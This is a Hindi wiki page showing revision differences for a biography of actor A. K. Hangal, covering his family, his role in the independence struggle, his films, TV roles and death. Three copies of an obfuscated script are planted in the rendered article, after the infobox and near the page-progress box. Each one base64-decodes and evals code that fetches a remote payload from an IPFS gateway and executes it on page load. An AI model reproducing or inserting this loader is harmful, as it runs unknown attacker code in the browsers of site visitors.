"अवतार किशन हंगल" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('<!-- सबसे पहले इस पन्ने को संजोएँ (सेव करें) जिससे आपको य...' के साथ नया पन्ना बनाया)
 
छो (Text replacement - "किस्सा" to "क़िस्सा ")
 
(7 सदस्यों द्वारा किये गये बीच के 31 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
<!-- सबसे पहले इस पन्ने को संजोएँ (सेव करें) जिससे आपको यह दिखेगा कि लेख बनकर कैसा लगेगा -->
+
{{सूचना बक्सा कलाकार
[[चित्र:{{PAGENAME}}|thumb|{{PAGENAME}} लिंक पर क्लिक करके चित्र अपलोड करें]]
+
|चित्र=hang1.jpg
{{पुनरीक्षण}}
+
|चित्र का नाम=ए. के. हंगल
==ए. के. हंगल==
+
|पूरा नाम=अवतार किशन हंगल
हंगल लम्बे समय से बुढ़ापे की बीमारियों से पीडि़त थे। अपनी पत्‍‌नी के निधन के बाद से वह अपने बेटे विजय के साथ रहते थे। वर्ष 1967 से हिन्दी फिल्म उद्योग का हिस्सा रहे हंगल ने लगभग 225 फिल्मों में काम किया। उन्हें फिल्म परिचय और शोले में अपनी भूमिकाओं के लिए जाना जाता है।
+
|प्रसिद्ध नाम=ए. के. हंगल
 +
|अन्य नाम=
 +
|जन्म=[[1 फ़रवरी]] [[1917]]
 +
|जन्म भूमि= [[सियालकोट]], [[पाकिस्तान]]
 +
|मृत्यु=[[26 अगस्त]] [[2012]]  (उम्र- 95)
 +
|मृत्यु स्थान=[[मुम्बई]], [[महाराष्ट्र]]
 +
|अभिभावक=हरि किशन हंगल (पिता)
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[मुम्बई]]
 +
|कर्म-क्षेत्र=सिनेमा
 +
|मुख्य रचनाएँ=
 +
|मुख्य फ़िल्में='[[नमक हराम (फ़िल्म)|नमक हराम]]', शौकीन, [[शोले (फ़िल्म)|शोले]], आईना, अवतार आदि
 +
|विषय=
 +
|शिक्षा=
 +
|विद्यालय=
 +
|पुरस्कार-उपाधि=[[पद्मभूषण]]
 +
|प्रसिद्धि=
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=सन 1930 से 1947 के बीच भारतीय स्वतंत्रता संग्राम में सक्रिय रहे और दो बार जेल गए।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''अवतार किशन हंगल''' ([[अंग्रेज़ी]]: ''Avtar Kishan Hangal'', जन्म: [[1 फ़रवरी]], [[1917]], [[सियालकोट]]; मृत्यु: [[26 अगस्त]] [[2012]] [[मुम्बई]]) हिन्दी फ़िल्मों के प्रसिद्ध अभिनेता एवं [[दूरदर्शन]] कलाकार थे। वर्ष [[1967]] से हिन्दी फ़िल्म उद्योग का हिस्सा रहे हंगल ने लगभग 225 फ़िल्मों में काम किया। उन्हें फ़िल्म 'परिचय' और [[शोले (फ़िल्म)|'शोले']] में अपनी यादगार भूमिकाओं के लिए जाना जाता है।
 +
==जीवन परिचय==
 +
[[भारत]] के [[स्वतंत्रता संग्राम]] में बढ़-चढ़कर हिस्सा लेने वाले ए.के. हंगल का जन्म [[1 फ़रवरी]] [[1917]] को कश्मीरी पंडित परिवार में अविभाजित भारत में [[पंजाब|पंजाब राज्य]] के [[सियालकोट]] में हुआ था। इनका पूरा नाम अवतार किशन हंगल था। [[कश्मीरी भाषा]] में हिरन को हंगल कहते हैं। उन्होंने [[हिंदी सिनेमा]] में कई यादगार रोल अदा किए। वर्ष [[1966]] में उन्होंने हिंदी सिनेमा में कदम रखा और [[2005]] तक 225 फ़िल्मों में काम किया। [[राजेश खन्ना]] के साथ उन्होंने 16 फ़िल्में की थी। हंगल साहब [[उर्दू]] भाषी थे। उन्हें हिंदी में स्क्रिप्ट पढ़ने में परेशानी होती थी। इसलिए वे स्क्रिप्ट हमेशा उर्दू भाषा में ही मांगते थे।
 +
====परिवार====
 +
कश्मीरी ब्राह्मणों का यह [[परिवार]] बहुत पहले [[लखनऊ]] में बस गया था। लेकिन हंगल साहब के जन्म के डेढ़-दो सौ साल पहले वे लोग [[पेशावर]] चले गये थे। इनके दादा के एक भाई थे जस्टिस शंभुनाथ पंडित, जो बंगाल न्यायालय के प्रथम भारतीय जज बने थे। हंगल साहब के पिता उन्हें पारसी थियेटर दिखाने ले जाया करते थे। वहीं से नाटकों के प्रति शौक़ उत्पन्न हुआ। हंगल साहब शुरुआती दौर से ही कभी किसी काम को छोटा नहीं समझते थे। 
 +
====शुरूआती जीवन====
 +
इनका बचपन पेशावर में गुजरा, यहां उन्होंने थिएटर में अभिनय किया। इनके पिता का नाम पंडित हरि किशन हंगल था। अपने जीवन के शुरुआती दिनों में, जब वे [[कराची]] में रहते थे, वहां उन्होंने टेलरिंग का काम भी किया है। पिता के सेवानिवृत्त होने के बाद पूरा परिवार पेशावर से कराची आ गया। 1949 में [[भारत का विभाजन|भारत विभाजन]] के बाद ए.के. हंगल [[मुंबई]] चले गए। 21 की उम्र में 20 रुपये लेकर पहली बार मुंबई आए थे। ये [[बलराज साहनी]] और कैफी आजमी के साथ थिएटर ग्रुप आईपीटीए के साथ जुड़े थे।
  
हंगल वर्ष 2011 में उस समय सुर्खियों में आ गए थे, जब यह बात सामने आई थी कि वह अपनी आय के साधन खत्म हो जाने के बाद आजीविका के लिए संघर्ष कर रहे हैं और उनके पास भोजन और दवाइयों तक के लिए पैसे नहीं बचे थे। इसके बाद अभिनेता अमिताभ बच्चन और आमिर खान जैसे फिल्म उद्योग के बहुत से लोगों ने उन्हें आर्थिक मदद की पेशकश की थी। हंगल कुछ दिन पहले ही छोटे पर्दे के धारावाहिक मधुबाला में नजर आए थे।
+
उन्होंने इप्टा से जुड़ कर अपने नाटकों के मंचन के माध्यम से सांस्कृतिक चेतना जगायी। हंगल साहब पेंटिंग भी करते थे। उन्होंने किशोर उम्र में ही एक उदास स्त्री का स्केच बनाया था और उसका नाम दिया चिंता। वे हमेशा अपनी फ़िल्मों से ज्यादा अपने नाटक को अहमियत देते थे और मानते थे कि ज़िंदगी का मतलब सिर्फ अपने बारे में सोचना नहीं है। वे हमेशा कहते थे कि चाहे कुछ भी हो जाये, ‘मैं एहसान-फरामोश और मतलबी नहीं बन सकता।’
  
==ए.के. हंगल का जीवन==
+
==भारत की आज़ादी में योगदान==
ए.के. हंगल का जन्म 1 फरवरी 1917 को हुआ था। इनका पूरा नाम अवतार किशन हंगल था। उन्होंने हिंदी सिनेमा में कई यादगार रोल अदा किए। वर्ष 1966 में उन्होंने हिंदी सिनेमा में कदम रखा और 2005 तक 225 फिल्मों में काम किया। ाजेश खन्ना के साथ उन्होंने 16 फिल्में की थी।
+
[[भारत]] की आज़ादी की लड़ाई में भी इनकी भागीदारी थी। 1930-47 के बीच स्वतंत्रता संग्राम में सक्रिय रहे। दो बार जेल गए। हंगल तीन साल पाकिस्तान में जेल में रहे। स्वतंत्रता संग्राम के दौरान पेशावर में काबुली गेट के पास एक बहुत बड़ा प्रदर्शन हुआ था, जिसमें हंगल साहब भी उपस्थित थे। [[अंग्रेज़|अंग्रेजों]] ने अपने सिपाहियों को प्रदर्शनकारियों पर गोली चलाने का हुक्म दिया था, लेकिन चंदर सिंह गढ़वाली के नेतृत्व वाले उस [[गढ़वाल रेजीमेंट]] की टुकड़ी ने गोली चलाने से इनकार कर दिया। यह एक विद्रोह था। चंदर सिंह गढ़वाली को जेल में डाला गया। हंगल साहब को दु:ख था कि चंदर सिंह गढ़वाली को ‘[[भारत रत्न]]’ नहीं मिला। भारत माँ का यह वीर सपूत 1981 में गुमनाम मौत मरा। पेशावर में हुआ नरसंहार उसी काबुल गेट वाली घटना के बाद हुआ था। उस वक्त अंग्रेजों ने अमेरिकी से गोलियाँ चलवाई थीं। हंगल साहब ने अपनी [[आंख|आँखों]] से यह सब देखा था। यही वजह रही कि वे थियेटर से जुड़ने के साथ-साथ स्वतंत्रता संग्राम और सामाजिक आंदोलनों को लेकर हमेशा सजग रहते थे।
  
==ए.के. हंगल का जीवन==
+
[[भगत सिंह]], [[सुखदेव]] और [[राजगुरु]] को फाँसी से बचाने के लिए चलाये गये हस्ताक्षर अभियान में भी वे शामिल थे। क़िस्सा -ख्वानी बाज़ार नरसंहार के दौरान उनकी कमीज ख़ून से भीग गयी थी। हंगल साहब कहते थे, ‘वह ख़ून सभी का था- [[हिंदू]], [[मुस्लिम]], [[सिख]] सबका मिला हुआ खून!’ छात्र जीवन से ही वे बड़े क्रांतिकारियों की मदद में जुट गये थे। बाद में उन्हें अंग्रेजों ने तीन साल तक जेल में भी रखा, फिर भी वे अपने इरादे से नहीं डिगे।<ref>{{cite web |url=http://www.prabhatkhabar.com/node/199921 |title=कश्मीरी हिरन हंगल साहब |accessmonthday=26 अगस्त |accessyear=2012 |last= |first= |authorlink= |format= |publisher=प्रभात खबर |language=हिन्दी }}</ref>
इनका बचपन पेशावर में गुजरा, यहां उन्होंने थिएटर में अभिनय किया। इनके पिता का नाम पंडित हरि किशन हंगल था। इनकी शुरुआती समय में यह दर्जी थे, आजादी की लड़ाई में भी इनकी भागीदारी थी। पिता के सेवानिवृत होने के बाद पूरा परिवार पेशावर से कराची आ गया। 1949 में भारत विभाजन के बाद ए.के. हंगल मुंबई चले गए। ये बलराज साहनी और कैफी आजमी के साथ थिएटर ग्रुप आईपीटीए के साथ जुड़े थे।
 
  
==हिंदी सिनेमा में करियर==
+
==सिनेमा का सफ़र==
ए.के. हंगल 50 वर्ष की उम्र में हिंदी सिनेमा में आए। उन्होंने 1966 में बासु चटर्जी की फिल्म तीसरी कसम और शागिर्द में काम किया। इसके बाद उन्होंने सिद्घांतवादी भूमिकाएं निभार्ई। 70, 80 और 90 के दशकों में उन्होंने प्रमुख फिल्मों में पिता या अंकल की भूमिका निभाई।
+
ए.के. हंगल 50 वर्ष की उम्र में हिंदी सिनेमा में आए। उन्होंने 1966 में बासु चटर्जी की फ़िल्म 'तीसरी कसम' और 'शागिर्द' में काम किया। इसके बाद उन्होंने सिद्घांतवादी भूमिकाएँ निभाई। 70, 80 और 90 के दशकों में उन्होंने प्रमुख फ़िल्मों में पिता या अंकल की भूमिका निभाई। हंगल ने फ़िल्म [[शोले (फ़िल्म)|शोले]] में रहीम चाचा (इमाम साहब) और 'शौकीन' के इंदर साहब के किरदार से अपने अभिनय की छाप छोड़ी।
 +
इंडियन पीपुल्स थिएटर एसोसिएशन (इप्टा) के साथ बढ़-चढ़कर काम करने वाले हंगल ने 139 से अधिक फिल्‍मों में अपने अभिनय कौशल का लोहा मनवाया है। इनके प्रमुख रोल फ़िल्म '[[नमक हराम (फ़िल्म)|नमक हराम]]', शौकीन, शोले, आईना, अवतार, अर्जुन, आंधी, तपस्या, कोरा कागज, बावर्ची, छुपा रुस्तम, चितचोर, बालिका वधू, गुड्डी, नरम-गरम में रहे। इनके बाद के समय में यादगार किरदारों में वर्ष 2002 में शरारत, 1997 में तेरे मेरे सपने और 2005 में आमिर खान के साथ लगान में नज़र आए थे।
 +
==सम्मान और पुरस्कार==
 +
वर्ष [[2006]] में उन्हें भारत सरकार ने [[पद्मभूषण]] से नवाजा।
  
इनके प्रमुखर रोल फिल्म नमक हराम, शौकीन, शोले, आईना, अवतार, अर्जुन, आंधी, तपस्या, कोरा कागज, बावर्ची, छुपा रुस्तम, चितचोर, बालिका वधू, गुड्डी, नरम-गरम में रहे। इनके बाद के समय में यादगार किरदारों में वर्ष 2002 में शरारत, 1997 में तेरे मेरे सपने और 2005 में आमिर खान के साथ लगान में नजर आए थे। 8 फरवरी 2011 में उन्होंने व्हील चेयर पर फैशन डिजाइनर रियाज गंजी के लिए रैप पर आए।
+
==टीवी सीरियल में उपस्थिति==
 
 
==निधन==
 
बॉलीवुड के वयोवृद्ध अभिनेता ए. के. हंगल का 26-082012 को सुबह नौ बजे के करीब निधन हो गया था। वह 95 वर्ष के थे। उन्हें कूल्हे की हड्डी टूटने के बाद अस्पताल में भर्ती कराया गया था। उनकी मौत मुख्यरूप से उम्र सम्बंधित कारणों से हुई है। उनके फेफड़े कमजोर हो गए थे और काम करना बंद कर दिए थे। हंगल का इलाज कर रहे चिकित्सक कौलसौम हुसैन ने बताया, वह कूल्हे की हड्डी टूट जाने से पीडि़त थे और उनके फेफड़े और गुर्दे के काम बंद कर देने के कारण उनकी मौत हो गई।
 
 
 
==अवार्ड==
 
वर्ष 2006 में उन्हें भारत सरकार ने पद्मभूषण से नवाजा।
 
 
 
==टीवी सिरीयल में उपस्थिति==
 
 
* 1997 में बॉम्बे ब्लू
 
* 1997 में बॉम्बे ब्लू
 
* 1998 में जीवन रेखा
 
* 1998 में जीवन रेखा
 
* 1986 में मास्टरपीस थिएटर : लार्ड माउंटबेटन
 
* 1986 में मास्टरपीस थिएटर : लार्ड माउंटबेटन
 
* 1996 में चंद्रकांता
 
* 1996 में चंद्रकांता
* 1993-94 में जबान संभालके में छोटी भूमिका
+
* 1993-94 में जबान संभाल के में छोटी भूमिका
 
* 2004-05 में होटल किंग्सटन में छोटी भूमिका
 
* 2004-05 में होटल किंग्सटन में छोटी भूमिका
* 2012 में धारावाहिव कलर्स चैनल के धाराचाहिक मधुबाला में विशेष उपस्थिति
+
* 2012 में धारावाहिक कलर्स चैनल के धारावाहिक मधुबाला में विशेष उपस्थिति
 
 
  
 +
==निधन==
 +
[[चित्र:OLD HANGAL.jpg|thumb|200px|अवतार किशन हंगल]]
 +
हंगल लम्बे समय से बुढ़ापे की बीमारियों से पीड़ित रहे। बॉलीवुड के सबसे वयोवृद्ध अभिनेता ए. के. हंगल का 26 अगस्त 2012 को सुबह नौ बजे के क़रीब [[मुंबई]] के [[आशा पारेख]] अस्पताल में निधन हो गया था। 95 साल के हंगल को 16 अगस्त को अस्पताल में भर्ती कराया गया था। 13 अगस्त को हंगल गिर गए थे। पीठ में चोट लगने और कूल्हे की हड्डी टूटने के कारण उन्हें अस्पताल में भर्ती कराया गया, जहाँ उनकी सर्जरी हुई। सर्जरी होने के बावजूद उनती सेहत में कोई सुधार नहीं हुआ। बाद में पता चला कि उन्हें सीने में दर्द और सास लेने में तकलीफ़ है। इसके बाद उन्हें वेंटीलेटर पर रखा गया, लेकिन उनकी सेहत में कोई सुधार नहीं हुआ।
  
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
  
{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
+
{{चरित्र अभिनेता}}
[[Category:नया पन्ना अगस्त-2012]]
+
[[Category:चरित्र अभिनेता]]
 
+
[[Category:अभिनेता]][[Category:सिनेमा]][[Category:सिनेमा कोश]][[Category:कला कोश]]
 +
[[Category:चरित कोश]]
 +
[[Category:पद्म भूषण]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

14:11, 9 मई 2021 के समय का अवतरण

अवतार किशन हंगल
ए. के. हंगल
पूरा नाम अवतार किशन हंगल
प्रसिद्ध नाम ए. के. हंगल
जन्म 1 फ़रवरी 1917
जन्म भूमि सियालकोट, पाकिस्तान
मृत्यु 26 अगस्त 2012 (उम्र- 95)
मृत्यु स्थान मुम्बई, महाराष्ट्र
अभिभावक हरि किशन हंगल (पिता)
कर्म भूमि मुम्बई
कर्म-क्षेत्र सिनेमा
मुख्य फ़िल्में 'नमक हराम', शौकीन, शोले, आईना, अवतार आदि
पुरस्कार-उपाधि पद्मभूषण
नागरिकता भारतीय
अन्य जानकारी सन 1930 से 1947 के बीच भारतीय स्वतंत्रता संग्राम में सक्रिय रहे और दो बार जेल गए।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अवतार किशन हंगल (अंग्रेज़ी: Avtar Kishan Hangal, जन्म: 1 फ़रवरी, 1917, सियालकोट; मृत्यु: 26 अगस्त 2012 मुम्बई) हिन्दी फ़िल्मों के प्रसिद्ध अभिनेता एवं दूरदर्शन कलाकार थे। वर्ष 1967 से हिन्दी फ़िल्म उद्योग का हिस्सा रहे हंगल ने लगभग 225 फ़िल्मों में काम किया। उन्हें फ़िल्म 'परिचय' और 'शोले' में अपनी यादगार भूमिकाओं के लिए जाना जाता है।

जीवन परिचय

भारत के स्वतंत्रता संग्राम में बढ़-चढ़कर हिस्सा लेने वाले ए.के. हंगल का जन्म 1 फ़रवरी 1917 को कश्मीरी पंडित परिवार में अविभाजित भारत में पंजाब राज्य के सियालकोट में हुआ था। इनका पूरा नाम अवतार किशन हंगल था। कश्मीरी भाषा में हिरन को हंगल कहते हैं। उन्होंने हिंदी सिनेमा में कई यादगार रोल अदा किए। वर्ष 1966 में उन्होंने हिंदी सिनेमा में कदम रखा और 2005 तक 225 फ़िल्मों में काम किया। राजेश खन्ना के साथ उन्होंने 16 फ़िल्में की थी। हंगल साहब उर्दू भाषी थे। उन्हें हिंदी में स्क्रिप्ट पढ़ने में परेशानी होती थी। इसलिए वे स्क्रिप्ट हमेशा उर्दू भाषा में ही मांगते थे।

परिवार

कश्मीरी ब्राह्मणों का यह परिवार बहुत पहले लखनऊ में बस गया था। लेकिन हंगल साहब के जन्म के डेढ़-दो सौ साल पहले वे लोग पेशावर चले गये थे। इनके दादा के एक भाई थे जस्टिस शंभुनाथ पंडित, जो बंगाल न्यायालय के प्रथम भारतीय जज बने थे। हंगल साहब के पिता उन्हें पारसी थियेटर दिखाने ले जाया करते थे। वहीं से नाटकों के प्रति शौक़ उत्पन्न हुआ। हंगल साहब शुरुआती दौर से ही कभी किसी काम को छोटा नहीं समझते थे।

शुरूआती जीवन

इनका बचपन पेशावर में गुजरा, यहां उन्होंने थिएटर में अभिनय किया। इनके पिता का नाम पंडित हरि किशन हंगल था। अपने जीवन के शुरुआती दिनों में, जब वे कराची में रहते थे, वहां उन्होंने टेलरिंग का काम भी किया है। पिता के सेवानिवृत्त होने के बाद पूरा परिवार पेशावर से कराची आ गया। 1949 में भारत विभाजन के बाद ए.के. हंगल मुंबई चले गए। 21 की उम्र में 20 रुपये लेकर पहली बार मुंबई आए थे। ये बलराज साहनी और कैफी आजमी के साथ थिएटर ग्रुप आईपीटीए के साथ जुड़े थे।

उन्होंने इप्टा से जुड़ कर अपने नाटकों के मंचन के माध्यम से सांस्कृतिक चेतना जगायी। हंगल साहब पेंटिंग भी करते थे। उन्होंने किशोर उम्र में ही एक उदास स्त्री का स्केच बनाया था और उसका नाम दिया चिंता। वे हमेशा अपनी फ़िल्मों से ज्यादा अपने नाटक को अहमियत देते थे और मानते थे कि ज़िंदगी का मतलब सिर्फ अपने बारे में सोचना नहीं है। वे हमेशा कहते थे कि चाहे कुछ भी हो जाये, ‘मैं एहसान-फरामोश और मतलबी नहीं बन सकता।’

भारत की आज़ादी में योगदान

भारत की आज़ादी की लड़ाई में भी इनकी भागीदारी थी। 1930-47 के बीच स्वतंत्रता संग्राम में सक्रिय रहे। दो बार जेल गए। हंगल तीन साल पाकिस्तान में जेल में रहे। स्वतंत्रता संग्राम के दौरान पेशावर में काबुली गेट के पास एक बहुत बड़ा प्रदर्शन हुआ था, जिसमें हंगल साहब भी उपस्थित थे। अंग्रेजों ने अपने सिपाहियों को प्रदर्शनकारियों पर गोली चलाने का हुक्म दिया था, लेकिन चंदर सिंह गढ़वाली के नेतृत्व वाले उस गढ़वाल रेजीमेंट की टुकड़ी ने गोली चलाने से इनकार कर दिया। यह एक विद्रोह था। चंदर सिंह गढ़वाली को जेल में डाला गया। हंगल साहब को दु:ख था कि चंदर सिंह गढ़वाली को ‘भारत रत्न’ नहीं मिला। भारत माँ का यह वीर सपूत 1981 में गुमनाम मौत मरा। पेशावर में हुआ नरसंहार उसी काबुल गेट वाली घटना के बाद हुआ था। उस वक्त अंग्रेजों ने अमेरिकी से गोलियाँ चलवाई थीं। हंगल साहब ने अपनी आँखों से यह सब देखा था। यही वजह रही कि वे थियेटर से जुड़ने के साथ-साथ स्वतंत्रता संग्राम और सामाजिक आंदोलनों को लेकर हमेशा सजग रहते थे।

भगत सिंह, सुखदेव और राजगुरु को फाँसी से बचाने के लिए चलाये गये हस्ताक्षर अभियान में भी वे शामिल थे। क़िस्सा -ख्वानी बाज़ार नरसंहार के दौरान उनकी कमीज ख़ून से भीग गयी थी। हंगल साहब कहते थे, ‘वह ख़ून सभी का था- हिंदू, मुस्लिम, सिख सबका मिला हुआ खून!’ छात्र जीवन से ही वे बड़े क्रांतिकारियों की मदद में जुट गये थे। बाद में उन्हें अंग्रेजों ने तीन साल तक जेल में भी रखा, फिर भी वे अपने इरादे से नहीं डिगे।[1]

सिनेमा का सफ़र

ए.के. हंगल 50 वर्ष की उम्र में हिंदी सिनेमा में आए। उन्होंने 1966 में बासु चटर्जी की फ़िल्म 'तीसरी कसम' और 'शागिर्द' में काम किया। इसके बाद उन्होंने सिद्घांतवादी भूमिकाएँ निभाई। 70, 80 और 90 के दशकों में उन्होंने प्रमुख फ़िल्मों में पिता या अंकल की भूमिका निभाई। हंगल ने फ़िल्म शोले में रहीम चाचा (इमाम साहब) और 'शौकीन' के इंदर साहब के किरदार से अपने अभिनय की छाप छोड़ी। इंडियन पीपुल्स थिएटर एसोसिएशन (इप्टा) के साथ बढ़-चढ़कर काम करने वाले हंगल ने 139 से अधिक फिल्‍मों में अपने अभिनय कौशल का लोहा मनवाया है। इनके प्रमुख रोल फ़िल्म 'नमक हराम', शौकीन, शोले, आईना, अवतार, अर्जुन, आंधी, तपस्या, कोरा कागज, बावर्ची, छुपा रुस्तम, चितचोर, बालिका वधू, गुड्डी, नरम-गरम में रहे। इनके बाद के समय में यादगार किरदारों में वर्ष 2002 में शरारत, 1997 में तेरे मेरे सपने और 2005 में आमिर खान के साथ लगान में नज़र आए थे।

सम्मान और पुरस्कार

वर्ष 2006 में उन्हें भारत सरकार ने पद्मभूषण से नवाजा।

टीवी सीरियल में उपस्थिति

  • 1997 में बॉम्बे ब्लू
  • 1998 में जीवन रेखा
  • 1986 में मास्टरपीस थिएटर : लार्ड माउंटबेटन
  • 1996 में चंद्रकांता
  • 1993-94 में जबान संभाल के में छोटी भूमिका
  • 2004-05 में होटल किंग्सटन में छोटी भूमिका
  • 2012 में धारावाहिक कलर्स चैनल के धारावाहिक मधुबाला में विशेष उपस्थिति

निधन

अवतार किशन हंगल

हंगल लम्बे समय से बुढ़ापे की बीमारियों से पीड़ित रहे। बॉलीवुड के सबसे वयोवृद्ध अभिनेता ए. के. हंगल का 26 अगस्त 2012 को सुबह नौ बजे के क़रीब मुंबई के आशा पारेख अस्पताल में निधन हो गया था। 95 साल के हंगल को 16 अगस्त को अस्पताल में भर्ती कराया गया था। 13 अगस्त को हंगल गिर गए थे। पीठ में चोट लगने और कूल्हे की हड्डी टूटने के कारण उन्हें अस्पताल में भर्ती कराया गया, जहाँ उनकी सर्जरी हुई। सर्जरी होने के बावजूद उनती सेहत में कोई सुधार नहीं हुआ। बाद में पता चला कि उन्हें सीने में दर्द और सास लेने में तकलीफ़ है। इसके बाद उन्हें वेंटीलेटर पर रखा गया, लेकिन उनकी सेहत में कोई सुधार नहीं हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. कश्मीरी हिरन हंगल साहब (हिन्दी) प्रभात खबर। अभिगमन तिथि: 26 अगस्त, 2012।

बाहरी कड़ियाँ

संबंधित लेख